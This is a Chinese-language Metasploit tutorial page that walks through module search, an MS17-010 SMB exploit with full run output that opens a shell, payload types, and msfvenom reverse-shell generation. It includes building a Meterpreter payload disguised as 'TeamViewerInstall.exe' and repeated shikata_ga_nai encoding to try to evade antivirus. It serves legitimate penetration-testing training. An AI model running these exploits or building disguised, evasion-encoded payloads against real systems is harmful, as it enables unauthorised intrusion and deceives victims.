> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/hacking-tools/exploitation/metasploit.md).

# Metasploit

## Metasploit：

{% hint style="info" %}
Metasploit 是一个开源渗透测试平台，被 IT 安全专业人员广泛用于评估 IT 系统的漏洞。它提供了一组用于发现、利用和保护网络、操作系统、应用程序以及其他 IT 组件中的安全漏洞的工具和资源。总之，Metasploit 是一个用于执行渗透测试和安全审计的综合框架。
{% endhint %}

默认情况下，所有与 Metasploit Framework 相关的核心文件都可以在 `/usr/share/metasploit-framework`

## Metasploit 工作流程

1. 在选择模块之前，先识别暴露的服务、版本、平台和可能的漏洞。
2. 按服务、CVE、平台、类型、评级和名称搜索模块，然后查看模块信息和引用。
3. 配置目标选项、载荷选项、监听地址和目标选择，尽量使用最小且可靠的设置。
4. 在可用时执行检查，仅运行已确认的模块，并保留模块输出用于报告。
5. 当评估规模扩大时，可通过 Metasploit 数据库管理会话、工作区、收获数据、凭据、服务和主机。

### **模块：**

上面详细说明的模块在此文件中被划分为不同的类别。我们将在以下各节中详细介绍它们。它们位于以下文件夹中：<br>

<figure><img src="/files/12728bab34eadb1ea272f21db64ede14c5a937f7" alt=""><figcaption></figcaption></figure>

### **插件：**

插件让渗透测试人员在使用时拥有更大的灵活性 `msfconsole`因为它们可以根据需要轻松手动或自动加载，在我们的评估过程中提供额外的功能和自动化。

<div data-full-width="true"><figure><img src="/files/4244dec62769d6d57ec892d9f827d2a7fe22bc0b" alt=""><figcaption></figcaption></figure></div>

### 场景：

Meterpreter 功能和其他有用的脚本。

<figure><img src="/files/d946562b892d51f1e85e4193e08af01f55ede320" alt="" width="471"><figcaption></figcaption></figure>

### **工具：**

可直接从 `msfconsole`菜单

<div data-full-width="true"><figure><img src="/files/030d67259815fe0bf5db6626cabe9f50cca088fd" alt=""><figcaption></figcaption></figure></div>

## MSFconsole

<figure><img src="/files/942b420bba97843037589ff5b02fb1987d937c33" alt=""><figcaption></figcaption></figure>

### MSF 参与结构

MSF 参与结构可分为五个主要类别。

* 枚举
* 准备
* 利用
* 权限提升
* 后渗透

{% hint style="info" %}
这种划分使我们更容易以更结构化的方式查找和选择合适的 MSF 功能，并据此与它们协作。每个类别都有针对特定目的的不同子类别。例如，这些包括服务验证和漏洞研究。
{% endhint %}

<figure><img src="/files/71a11743ad24a3bee405804bbb69a99719e5cdee" alt=""><figcaption></figcaption></figure>

## **组件**

### 搜索模块：

#### 一旦我们进入 `msfconsole`，就可以从包含所有可用 Metasploit 模块的长列表中进行选择。它们都按文件夹结构组织，看起来如下：

**语法：**

```bash
<编号> <类型>/<操作系统>/<服务>/<名称>
```

**示例**

```bash
794 exploit/windows/ftp/scriptftp_list
```

1. **编号：**

该 `编号。`标签将显示出来，以便我们稍后在搜索过程中选择想要的漏洞利用。我们将会看到 `编号。`稍后该标签在选择特定 Metasploit 模块时会多么有用。

2. **类型：**

| 类型：    | **描述**                           |
| ------ | -------------------------------- |
| `辅助`   | 扫描、模糊测试、检测和管理功能。提供支持和额外功能。       |
| `编码器`  | 确保载荷在到达目标之前保持完整。                 |
| `漏洞利用` | 利用漏洞来投递载荷的模块。                    |
| `NOP`  | （无操作码）在不同利用尝试之间保持载荷大小一致。         |
| `载荷`   | 代码在远程运行，并回连到攻击者的机器以建立连接或 shell。  |
| `插件`   | 额外脚本可以集成到一个 `msfconsole` 评估中并共存。 |
| `后`    | 用于收集信息、进一步转向以及相关后渗透任务的大量模块。      |

3. **操作系统：**

该 `操作系统`标签指定了该模块所针对的操作系统和架构。当然，不同的操作系统需要执行不同的代码才能达到预期结果 4。 **服务：**

该 `服务` 标签指的是目标机器上运行的易受攻击服务。对于某些模块，例如 `辅助` 或 `后`，此标签可能指更一般的活动，例如 `收集`，例如指收集凭据。5。 **名称：**

最后， `名称`标签解释了该模块为特定目的创建后所能执行的实际动作。

**MSF - 搜索功能**

例如，我们可以尝试查找 `EternalRomance`适用于较旧 Windows 操作系统的漏洞利用。它看起来可能像这样：

`search eternalromance`

<div data-full-width="true"><figure><img src="/files/13cfb4284a4faba9ab1d4669eca8e43848be23af" alt=""><figcaption></figcaption></figure></div>

### **特定搜索：**

我们也可以让搜索范围稍微粗一些，并将其缩小到单一类别的服务。例如，对于 CVE，我们可以指定年份（`cve:<年份>`）、Windows 平台（`platform:<操作系统>`）、我们想要查找的模块类型（`type:<auxiliary/exploit/post>`）、可信度等级（`rank:<等级>`），以及搜索名称（`<模式>`）。这会将结果缩小到满足以上所有条件的条目。

```bash
search type:exploit platform:windows cve:2021 rank:excellent microsoft
```

<div data-full-width="true"><figure><img src="/files/8271177b0429e76ececb9880320957cd2e6dd6c5" alt=""><figcaption></figcaption></figure></div>

### 使用模块：

要选择我们的第一个模块，首先需要找到一个。假设我们有一个目标，其运行的 SMB 版本易受 EternalRomance 漏洞利用（MS17/\_010）攻击。我们在扫描目标时发现 SMB 服务器端口 445 是开放的。

**搜索 MS17/\_010**

`search ms17_010`

<div data-full-width="true"><figure><img src="/files/ecbca14107acafdaca8b370fa6cfad5223d0fd54" alt=""><figcaption></figcaption></figure></div>

**MSF - 选择模块**

要在 Metasploit 中使用模块，首先输入 `use` 命令，后接所需的模块编号，然后使用 `options` 命令查看该模块可用的详细信息和配置。

```bash
匹配的模块
================

   #  名称                                  公开日期       评级    检查  描述
   -  ----                                  ---------------  ----    -----  -----------
   0  exploit/windows/smb/ms17_010_psexec   2017-03-14       normal  Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB 远程 Windows 代码执行
   1  auxiliary/admin/smb/ms17_010_command  2017-03-14       normal  No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB 远程 Windows 命令执行

msf6 > use 0
msf6 exploit(windows/smb/ms17_010_psexec) > options

模块选项（exploit/windows/smb/ms17_010_psexec）：

   名称                  当前设置                          必需  描述
   ----                  ---------------                          --------  -----------
   DBGTRACE              false                                    yes       显示额外的调试跟踪信息
   LEAKATTEMPTS          99                                       yes       尝试泄漏事务的次数
   NAMEDPIPE                                                      no        可连接的命名管道（留空则自动选择）
   NAMED_PIPES           /usr/share/metasploit-framework/data/wo  yes       要检查的命名管道列表
                         rdlists/named_pipes.txt
   RHOSTS                                                         yes       目标主机，参见 https://github.com/rapid7/metasploit-framework
                                                                            /wiki/Using-Metasploit
   RPORT                 445                                      yes       目标端口（TCP）
   SERVICE_DESCRIPTION                                            no        要在目标上用于美观列表的服务描述
   SERVICE_DISPLAY_NAME                                           no        服务显示名称
   SERVICE_NAME                                                   no        服务名称
   SHARE                 ADMIN$                                   yes       要连接的共享，可以是管理共享（ADMIN$,C$,...）或一个 no
                                                                            rmal 的读/写文件夹共享
   SMBDomain             .                                        no        用于认证的 Windows 域
   SMBPass                                                        no        指定用户名的密码
   SMBUser                                                        no        用于认证的用户名

Payload 选项（windows/meterpreter/reverse_tcp）：

   名称      当前设置  必需  描述
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       退出方式（接受：''、seh、thread、process、none）
   LHOST                      yes       监听地址（可指定某个接口）
   LPORT     4444             yes       监听端口

漏洞利用目标：

   编号  名称
   --  ----
   0   自动
```

**模块信息**

如果想了解更多关于该模块的信息，我们可以在选择模块后使用 `信息`命令。这将为我们提供一系列可能对我们很重要的信息。

```bash
msf6 exploit(windows/smb/ms17_010_psexec) > info

       名称：MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB 远程 Windows 代码执行
     模块：exploit/windows/smb/ms17_010_psexec
   平台：Windows
       架构：x86, x64
 提权：否
    许可证：Metasploit Framework License (BSD)
       评级：Normal
  公开：2017-03-14

提供者：
  sleepya
  zerosum0x0
  影子经纪人
  方程组

可用目标：
  编号  名称
  --  ----
  0   自动
  1   PowerShell
  2   原生上传
  3   MOF 上传

支持检查：
  是

基本选项：
  名称                  当前设置                          必需  描述
  ----                  ---------------                          --------  -----------
  DBGTRACE              false                                    yes       显示额外的调试跟踪信息
  LEAKATTEMPTS          99                                       yes       尝试泄漏事务的次数
  NAMEDPIPE                                                      no        可连接的命名管道（留空则自动选择）
  NAMED_PIPES           /usr/share/metasploit-framework/data/wo  yes       要检查的命名管道列表
                        rdlists/named_pipes.txt
  RHOSTS                                                         yes       目标主机，参见 https://github.com/rapid7/metasploit-framework/
                                                                           wiki/Using-Metasploit
  RPORT                 445                                      yes       目标端口（TCP）
  SERVICE_DESCRIPTION                                            no        要在目标上用于美观列表的服务描述
  SERVICE_DISPLAY_NAME                                           no        服务显示名称
  SERVICE_NAME                                                   no        服务名称
  SHARE                 ADMIN$                                   yes       要连接的共享，可以是管理共享（ADMIN$,C$,...）或一个 nor
                                                                           mal 的读/写文件夹共享
  SMBDomain             .                                        no        用于认证的 Windows 域
  SMBPass                                                        no        指定用户名的密码
  SMBUser                                                        no        用于认证的用户名

Payload 信息：
  空间：3072

描述：
  此模块将利用 MS17-010 中的 SMB 漏洞来
  实现一种 write-what-where 原语。随后将使用它来
  将连接会话信息覆盖为一个
  Administrator 会话。之后，正常的 psexec payload 代码
  执行将完成。它利用了 Transaction 与
  WriteAndX 请求之间的类型混淆，以及 Transaction 请求中的竞争条件，
  这在 EternalRomance、EternalChampion 和 EternalSynergy
  漏洞利用中都有体现。这个漏洞利用链比 EternalBlue
  更可靠，但需要一个命名管道。

参考：
  https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2017/MS17-010
  https://nvd.nist.gov/vuln/detail/CVE-2017-0143
  https://nvd.nist.gov/vuln/detail/CVE-2017-0146
  https://nvd.nist.gov/vuln/detail/CVE-2017-0147
  https://github.com/worawit/MS17-010
  https://hitcon.org/2017/CMT/slide-files/d2_s2_r0.pdf
  https://blogs.technet.microsoft.com/srd/2017/06/29/eternal-champion-exploit-analysis/

又称：
  ETERNALSYNERGY
  ETERNALROMANCE
  ETERNALCHAMPION
  ETERNALBLUE
```

**目标指定**

一旦我们确信所选模块正适合我们的用途，就需要定义一些规格来定制该模块，以便在目标主机上成功使用它，例如设置目标（ `RHOST`或 `RHOSTS`).

```bash
set RHOSTS 10.10.10.100
```

此外，还有 `setg` 选项，它会将我们所选的配置项设为永久生效，直到程序重启。

<figure><img src="/files/ff0db995dfce406bc493c9bd12a4a6d13ec6b72e" alt=""><figcaption></figcaption></figure>

**运行漏洞利用**

一切都配置好并准备就绪后，我们就可以继续发起攻击。命令： `run`

```powerquery
msf6 exploit(windows/smb/ms17_010_psexec) > run

[*] 已在 10.10.14.15:4444 上启动反向 TCP 处理程序
[*] 10.10.10.40:445 - 使用 auxiliary/scanner/smb/smb_ms17_010 作为检查
[+] 10.10.10.40:445       - 主机很可能对 MS17-010 漏洞敏感！ - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.10.10.40:445       - 已扫描 1 个主机中的 1 个（100% 完成）
[*] 10.10.10.40:445 - 正在连接目标以进行利用。
[+] 10.10.10.40:445 - 已建立连接以进行利用。
[+] 10.10.10.40:445 - 目标操作系统已选择，与 SMB 回复中指示的系统有效匹配
[*] 10.10.10.40:445 - CORE 原始缓冲区转储（42 字节）
[*] 10.10.10.40:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73  Windows 7 Profes
[*] 10.10.10.40:445 - 0x00000010  73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76  sional 7601 Serv
[*] 10.10.10.40:445 - 0x00000020  69 63 65 20 50 61 63 6b 20 31                    ice Pack 1
[+] 10.10.10.40:445 - 目标架构已选择，并与 DCE/RPC 回复中指示的架构有效匹配
[*] 10.10.10.40:445 - 尝试使用 12 个 Groom 分配进行漏洞利用。
[*] 10.10.10.40:445 - 正在发送漏洞利用数据包除最后一个分片外的所有部分
[*] 10.10.10.40:445 - 开始非分页池整理
[+] 10.10.10.40:445 - 正在发送 SMBv2 缓冲区
[+] 10.10.10.40:445 - 正在关闭 SMBv1 连接，创建与 SMBv2 缓冲区相邻的空洞。
[*] 10.10.10.40:445 - 正在发送最终的 SMBv2 缓冲区。
[*] 10.10.10.40:445 - 正在发送漏洞利用数据包的最后一个分片！
[*] 10.10.10.40:445 - 正在接收来自漏洞利用数据包的响应
[+] 10.10.10.40:445 - ETERNALBLUE 覆盖已成功完成（0xC000000D）！
[*] 10.10.10.40:445 - 正在向已损坏的连接发送 egg。
[*] 10.10.10.40:445 - 正在触发对已损坏缓冲区的释放。
[*] 已打开命令 shell 会话 1（10.10.14.15:4444 -> 10.10.10.40:49158），时间为 2020-08-13 21:37:21 +0000
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

meterpreter> shell

C:/Windows/system32>
```

## 目标

### **显示目标：**

该 `show targets`在漏洞利用模块视图中发出的命令将显示该特定漏洞利用可用的所有易受攻击目标。如果你保留选择为 `自动`msfconsole 将会知道在发起成功攻击之前，对给定目标执行服务发现。

<figure><img src="/files/f108833ef267376717fde5bf5b261827390662fb" alt=""><figcaption></figcaption></figure>

不过，如果我们知道目标上运行的是哪些版本，就可以使用 `set target <索引号>`命令从列表中选择一个目标。

```shell-session
msf6 exploit(windows/browser/ie_execcommand_uaf) > set target 6

target => 6
```

### 载荷：

{% hint style="info" %}
在 `载荷` Metasploit 的一个模块帮助漏洞利用模块返回（通常是）一个 `shell` 给攻击者。载荷会与漏洞利用本身一起发送，以绕过易受攻击服务的标准操作流程（这是漏洞利用的工作），然后在目标操作系统上运行，通常返回一个到攻击者的反向连接并建立载荷的工作。
{% endhint %}

Metasploit 框架中有三种不同类型的载荷模块：Singles、Stagers 和 Stages。

1. **单载荷** :

> 一个简单的载荷包含漏洞利用和执行所需的所有代码，作为一个独立的载荷存在。这使它们更稳定，因为只需要执行一个元素。然而，它们可能会受大小限制，因为某些攻击不支持过大的载荷。它们非常适合立即执行的动作，例如在目标上添加用户或启动进程。

2. **Stager 载荷：**

> Stager 载荷与 Stage 载荷配合工作，将负载分成多个阶段。Stager 驻留在攻击者的系统上，当远程机器上执行 stage 时，它会与目标建立网络连接。它们被设计得小巧且可靠，使建立连接更容易。Windows stager 还提供“NX”（兼容 DEP 保护）和“NO-NX”版本，其中 NX 体积更大，但适用于现代系统。

3. **Stage 载荷**:

> Stage 载荷是由 stager 上传的组件，用于提供高级功能且没有大小限制。它们用于诸如 Meterpreter 或 VNC 注入之类的复杂负载。为尽量减少错误，stage 会使用中间 stager 来确保上传稳定性。它们特别适合需要可靠且持续数据流的多阶段攻击。

### 分阶段载荷：

**分阶段的载荷**

作为 Metasploit 用户，我们会以以下常见名称遇到它们 `reverse_tcp`, `reverse_https`，以及 `bind_tcp`。例如，在 `show payloads`命令下，你可以搜索如下所示的载荷：

<figure><img src="/files/e18c981a6966720df6e5d154692df2568bf9523e" alt=""><figcaption></figcaption></figure>

### **载荷 Meterpreter：**

`Meterpreter` 是一种高级载荷，使用 DLL 注入来建立稳定且持久的连接，完全驻留在内存中，因此难以被检测到。它允许你动态加载脚本和插件。启动后，它会打开一个会话，提供用于控制目标系统的特定命令： `按键记录、密码恢复、麦克风监听等等。`

### 搜索载荷：

要选择我们的第一个载荷，我们需要知道自己想在目标机器上做什么。例如，如果我们的目标是保持访问持久性，我们可能会选择一个 Meterpreter 载荷。

通过浏览上面的列表，我们找到包含 `Windows(x64) 的 Meterpreter 载荷`.

<pre class="language-bash"><code class="lang-bash">   515  windows/x64/meterpreter/bind_ipv6_tcp                                manual  No     Windows Meterpreter（反射注入 x64），Windows x64 IPv6 Bind TCP Stager
<strong>   516  windows/x64/meterpreter/bind_ipv6_tcp_uuid                           manual  No     Windows Meterpreter（反射注入 x64），带 UUID 支持的 Windows x64 IPv6 Bind TCP Stager
</strong>   517  windows/x64/meterpreter/bind_named_pipe                              manual  No     Windows Meterpreter（反射注入 x64），Windows x64 Bind Named Pipe Stager
   518  windows/x64/meterpreter/bind_tcp                                     manual  No     Windows Meterpreter（反射注入 x64），Windows x64 Bind TCP Stager
   519  windows/x64/meterpreter/bind_tcp_rc4                                 manual  No     Windows Meterpreter（反射注入 x64），Bind TCP Stager（RC4 Stage 加密，Metasm）
   520  windows/x64/meterpreter/bind_tcp_uuid                                manual  No     Windows Meterpreter（反射注入 x64），带 UUID 支持的 Bind TCP Stager（Windows x64）
   521  windows/x64/meterpreter/reverse_http                                 manual  No     Windows Meterpreter（反射注入 x64），Windows x64 Reverse HTTP Stager（wininet）
   522  windows/x64/meterpreter/reverse_https                                manual  No     Windows Meterpreter（反射注入 x64），Windows x64 Reverse HTTP Stager（wininet）
   523  windows/x64/meterpreter/reverse_named_pipe                           manual  No     Windows Meterpreter（反射注入 x64），Windows x64 Reverse Named Pipe（SMB）Stager
   524  windows/x64/meterpreter/reverse_tcp                                  manual  No     Windows Meterpreter（反射注入 x64），Windows x64 Reverse TCP Stager
   525  windows/x64/meterpreter/reverse_tcp_rc4                              manual  No     Windows Meterpreter（反射注入 x64），Reverse TCP Stager（RC4 Stage 加密，Metasm）
   526  windows/x64/meterpreter/reverse_tcp_uuid                             manual  No     Windows Meterpreter（反射注入 x64），带 UUID 支持的 Reverse TCP Stager（Windows x64）
   527  windows/x64/meterpreter/reverse_winhttp                              manual  No     Windows Meterpreter（反射注入 x64），Windows x64 Reverse HTTP Stager（winhttp）
   528  windows/x64/meterpreter/reverse_winhttps                             manual  No     Windows Meterpreter（反射注入 x64），Windows x64 Reverse HTTPS Stager（winhttp）
   529  windows/x64/meterpreter_bind_named_pipe                              manual  No     Windows Meterpreter Shell，Bind Named Pipe Inline（x64）
   530  windows/x64/meterpreter_bind_tcp                                     manual  No     Windows Meterpreter Shell，Bind TCP Inline（x64）
   531  windows/x64/meterpreter_reverse_http                                 manual  No     Windows Meterpreter Shell，Reverse HTTP Inline（x64）
   532  windows/x64/meterpreter_reverse_https                                manual  No     Windows Meterpreter Shell，Reverse HTTPS Inline（x64）
   533  windows/x64/meterpreter_reverse_ipv6_tcp                             manual  No     Windows Meterpreter Shell，Reverse TCP Inline（IPv6）（x64）
   534  windows/x64/meterpreter_reverse_tcp                                  manual  No     Windows Meterpreter Shell，Reverse TCP Inline x64
</code></pre>

### **搜索特定载荷：**

我们也可以使用 `grep`来过滤特定术语。这会加快搜索速度，因此也会加快我们的选择。

```bash
grep meterpreter show payloads
```

<figure><img src="/files/f786e143dd3d164fc8a344526fc0b4c2b4a069e9" alt=""><figcaption></figcaption></figure>

我们现在可以再添加一个 `grep`命令到第一个命令后面，并搜索 `reverse_tcp`.

```bash
grep meterpreter grep reverse_tcp show payloads
```

<figure><img src="/files/6f9061a35653efd88b183566ec33bb4adef81169" alt=""><figcaption></figcaption></figure>

### **选择载荷：**

我们使用 `set payload <编号>`前提是先选择一个 Exploit 模块。

```bash
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload 15

payload => windows/x64/meterpreter/reverse_tcp
```

### 使用载荷：

对于 Exploit 部分，我们需要定义以下元素：

| **参数**   | **描述**              |
| -------- | ------------------- |
| `RHOSTS` | 远程主机 IP 地址，也就是目标机器。 |
| `RPORT`  | 远程主机端口。             |

对于 payload 部分，我们需要定义以下元素：

| **参数**  | **描述**               |
| ------- | -------------------- |
| `LHOST` | 主机 IP 地址，也就是攻击者的机器。  |
| `LPORT` | 通常不需要修改；请确认该端口尚未被占用。 |

### 载荷类型：

| **载荷**                            | **描述**                                     |
| --------------------------------- | ------------------------------------------ |
| `generic/custom`                  | 通用多用途监听器                                   |
| `generic/shell_bind_tcp`          | 通用多用途监听器，普通 shell，TCP 绑定连接                 |
| `generic/shell_reverse_tcp`       | 通用多用途监听器，普通 shell，反向 TCP 连接                |
| `windows/x64/exec`                | 执行任意命令（Windows x64）                        |
| `windows/x64/loadlibrary`         | 加载任意 x64 库路径                               |
| `windows/x64/messagebox`          | 通过 MessageBox 生成对话框，可自定义标题、文本和图标           |
| `windows/x64/shell_reverse_tcp`   | 普通 shell，单载荷，反向 TCP 连接                     |
| `windows/x64/shell/reverse_tcp`   | 普通 shell，stager 加 stage，反向 TCP 连接          |
| `windows/x64/shell/bind_ipv6_tcp` | 普通 shell，stager 加 stage，IPv6 TCP 绑定 stager |
| `windows/x64/meterpreter/$`       | Meterpreter 载荷以及上述变体                       |
| `windows/x64/powershell/$`        | 交互式 PowerShell 会话以及上述变体                    |
| `windows/x64/vncinject/$`         | VNC 服务器（反射式注入）以及上述变体                       |

## 编码器

{% hint style="info" %}
在 Metasploit 框架存在的 15 年里， `编码器`我们一直在帮助使载荷与不同处理器架构兼容，同时也在推动绕过杀毒软件。 `编码器`其作用是在修改载荷以在不同操作系统和架构上运行时发挥作用。这些架构包括：
{% endhint %}

| `x64` | `x86` | `sparc` | `ppc` | `mips` |
| ----- | ----- | ------- | ----- | ------ |

### 选择编码器：

> 如果我们想创建自定义载荷，可以通过 `msfpayload`，但之后还必须使用 `msfencode`对其根据目标操作系统架构进行编码。一个管道会把一个命令的输出传递给下一个命令，从而生成一个已编码的载荷，准备发送到目标机器并执行。

{% code overflow="wrap" %}

```sh
msfvenom -p windows/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 -b '/x00' -f perl -e x86/shikata_ga_nai
```

{% endcode %}

<figure><img src="/files/60cfc990b079f80cd27e82b1a7dd2717dbb792cc" alt=""><figcaption></figcaption></figure>

### **生成载荷 - 未编码：**

{% code overflow="wrap" %}

```bash
msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -b "/x00" -f perl
```

{% endcode %}

我们现在应查看 `$buf`的第一行，并看看在应用类似 `shikata_ga_nai`.

<figure><img src="/files/243079727e6f51b38ae89d18d074d53cea0dac50" alt=""><figcaption></figcaption></figure>

### **生成载荷 - 已编码：**

```bash
msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -b "/x00" -f perl -e x86/shikata_ga_nai
```

<figure><img src="/files/52f3ae3280b964122f71e88c4f402527a182314f" alt=""><figcaption></figcaption></figure>

### **Shikata Ga Nai 编码：**

> 我们先按原样使用上面的示例，把它当作一个假设示例。如果我们只用 SGN 对可执行载荷编码一次，它很可能会被当前大多数杀毒软件检测到。让我们先看一下。考虑到 `msfvenom`，这个处理载荷生成和编码方案的框架索引中，有如下条目：

{% code overflow="wrap" %}

```bash
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=8080 -e x86/shikata_ga_nai -f exe -o ./TeamViewerInstall.exe
```

{% endcode %}

<figure><img src="/files/46408e074a4c90b2ab7869b016f0d995c9d766d3" alt="" width="563"><figcaption></figcaption></figure>

这将生成一个 `exe`格式的 TeamViewerInstall.exe，它应该在 Windows 平台的 x86 架构处理器上运行，包含一个隐藏的反向 TCP Meterpreter shell 载荷，并且使用 Shikata Ga Nai 方案编码了一次。让我们把结果上传到 VirusTotal。

<figure><img src="/files/3d14f0a203563909a1c9eabaf75f52dfb37ec59a" alt=""><figcaption></figcaption></figure>

更好的办法是尝试用同一种编码方案多次迭代运行它：

{% code overflow="wrap" %}

```bash
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=8080 -e x86/shikata_ga_nai -f exe -i 10 -o /root/Desktop/TeamViewerInstall.exe
```

{% endcode %}

<figure><img src="/files/00f5d628b02dcdc3e1cfa27cf625384beca96966" alt="" width="563"><figcaption></figcaption></figure>

正如我们所见，这仍不足以绕过杀毒软件。仍有大量产品可以检测到该载荷。或者，Metasploit 还提供了一个名为 `msf-virustotal`的工具，我们可以使用 API 密钥来分析我们的载荷。不过，这需要在 VirusTotal 上免费注册。

### **VirusTotal：**

```shell-session
jord4n@htb[/htb]$ msf-virustotal -k <API key> -f TeamViewerInstall.exe

[*] 正在使用 API 密钥: <API key>
[*] 请稍候，正在上传 TeamViewerInstall.exe...
[*] VirusTotal：扫描请求已成功排队，请稍后返回查看报告
[*] 示例 MD5 哈希    : 4f54cc46e2f55be168cc6114b74a3130
[*] 示例 SHA1 哈希   : 53fcb4ed92cf40247782de41877b178ef2a9c5a9
[*] 示例 SHA256 哈希 : 66894cbecf2d9a31220ef811a2ba65c06fdfecddbc729d006fdab10e43368da8
[*] 分析链接: https://www.virustotal.com/gui/file/<SNIP>/detection/f-<SNIP>-1651750343
[*] 正在请求报告...
[*] 收到代码 -2。再等待 60 秒...
[*] 收到代码 -2。再等待 60 秒...
[*] 收到代码 -2。再等待 60 秒...
[*] 收到代码 -2。再等待 60 秒...
[*] 收到代码 -2。再等待 60 秒...
[*] 收到代码 -2。再等待 60 秒...
[*] 分析报告：TeamViewerInstall.exe (51 / 68): 66894cbecf2d9a31220ef811a2ba65c06fdfecddbc729d006fdab10e43368da8
==================================================================================================================

 杀毒软件             检测结果  版本                                                         结果                                                     更新
 ---------             --------  -------                                                         ------                                                     ------
 ALYac                 是      1.1.3.1                                                         Trojan.CryptZ.Gen                                          20220505
 APEX                  是      6.288                                                           恶意                                                      20220504
 AVG                   是      21.1.5827.0                                                     Win32:SwPatch [Wrm]                                        20220505
 Acronis               是      1.2.0.108                                                       可疑                                                      20220426
 Ad-Aware              是      3.0.21.193                                                      Trojan.CryptZ.Gen                                          20220505
 AhnLab-V3             是      3.21.3.10230                                                    Trojan/Win32.Shell.R1283                                   20220505
 Alibaba               否      0.3.0.5                                                                                                                    20190527
 Antiy-AVL             否      3.0                                                                                                                        20220505
 Arcabit               是      1.0.0.889                                                       Trojan.CryptZ.Gen                                          20220505
 Avast                 是      21.1.5827.0                                                     Win32:SwPatch [Wrm]                                        20220505
 Avira                 是      8.3.3.14                                                        TR/Patched.Gen2                                            20220505
 Baidu                 否      1.0.0.2                                                                                                                    20190318
 BitDefender           是      7.2                                                             Trojan.CryptZ.Gen                                          20220505
 BitDefenderTheta      是      7.2.37796.0                                                     Gen:NN.ZexaF.34638.eq1@aC@Q!ici                            20220428
 Bkav                  是      1.3.0.9899                                                      W32.FamVT.RorenNHc.Trojan                                  20220505
 CAT-QuickHeal         是      14.00                                                           Trojan.Swrort.A                                            20220505
 CMC                   否      2.10.2019.1                                                                                                                20211026
 ClamAV                是      0.105.0.0                                                       Win.Trojan.MSShellcode-6360728-0                           20220505
 Comodo                是      34592                                                           TrojWare.Win32.Rozena.A@4jwdqr                             20220505
 CrowdStrike           是      1.0                                                             win/malicious_confidence_100% (D)                          20220418
 Cylance               是      2.3.1.101                                                       不安全                                                     20220505
 Cynet                 是      4.0.0.27                                                        恶意（评分：100）                                     20220505
 Cyren                 是      6.5.1.2                                                         W32/Swrort.A.gen!Eldorado                                  20220505
 DrWeb                 是      7.0.56.4040                                                     Trojan.Swrort.1                                            20220505
 ESET-NOD32            是      25218                                                           Win32/Rozena.AA 的一个变种                               20220505
 Elastic               是      4.0.36                                                          恶意（高置信度）                                20220503
 Emsisoft              是      2021.5.0.7597                                                   Trojan.CryptZ.Gen (B)                                      20220505
 F-Secure              否      18.10.978-beta,1651672875v,1651675347h,1651717942c,1650632236t                                                             20220505
 FireEye               是      35.24.1.0                                                       Generic.mg.4f54cc46e2f55be1                                20220505
 Fortinet              是      6.2.142.0                                                       MalwThreat!0971IV                                          20220505
 GData                 是      A:25.32960B:27.27244                                            Trojan.CryptZ.Gen                                          20220505
 Gridinsoft            是      1.0.77.174                                                      Trojan.Win32.Swrort.zv!s2                                  20220505
 Ikarus                是      6.0.24.0                                                        Trojan.Win32.Swrort                                        20220505
 Jiangmin              否      16.0.100                                                                                                                   20220504
 K7AntiVirus           是      12.10.42191                                                     Trojan ( 001172b51 )                                       20220505
 K7GW                  是      12.10.42191                                                     Trojan ( 001172b51 )                                       20220505
 Kaspersky             是      21.0.1.45                                                       HEUR:Trojan.Win32.Generic                                  20220505
 Kingsoft              否      2017.9.26.565                                                                                                              20220505
 Lionic                否      7.5                                                                                                                        20220505
 MAX                   是      2019.9.16.1                                                     恶意软件（AI 评分=89）                                      20220505
 Malwarebytes          是      4.2.2.27                                                        Trojan.Rozena                                              20220505
 MaxSecure             是      1.0.0.1                                                         Trojan.Malware.300983.susgen                               20220505
 McAfee                是      6.0.6.653                                                       Swrort.i                                                   20220505
 McAfee-GW-Edition     是      v2019.1.2+3728                                                  类似于.Win32.Swrort.lh                                     20220505
 MicroWorld-eScan      是      14.0.409.0                                                      Trojan.CryptZ.Gen                                          20220505
 Microsoft             是      1.1.19200.5                                                     Trojan:Win32/Meterpreter.A                                 20220505
 NANO-Antivirus        是      1.0.146.25588                                                   Virus.Win32.Gen-Crypt.ccnc                                 20220505
 Paloalto              否      0.9.0.1003                                                                                                                 20220505
 Panda                 否      4.6.4.2                                                                                                                    20220504
 Rising                是      25.0.0.27                                                       Trojan.Generic@AI.100 (RDMK:cmRtazqDtX58xtB5RYP2bMLR5Bv1)  20220505
 SUPERAntiSpyware      是      5.6.0.1032                                                      Trojan.Backdoor-Shell                                      20220430
 Sangfor               是      2.14.0.0                                                        Trojan.Win32.Save.a                                        20220415
 SentinelOne           是      22.2.1.2                                                        静态 AI - 恶意 PE                                   20220330
 Sophos                是      1.4.1.0                                                         ML/PE-A + Mal/EncPk-ACE                                    20220505
 Symantec              是      1.17.0.0                                                        Packed.Generic.347                                         20220505
 TACHYON               否      2022-05-05.02                                                                                                              20220505
 Tencent               是      1.0.0.1                                                         Trojan.Win32.Cryptz.za                                     20220505
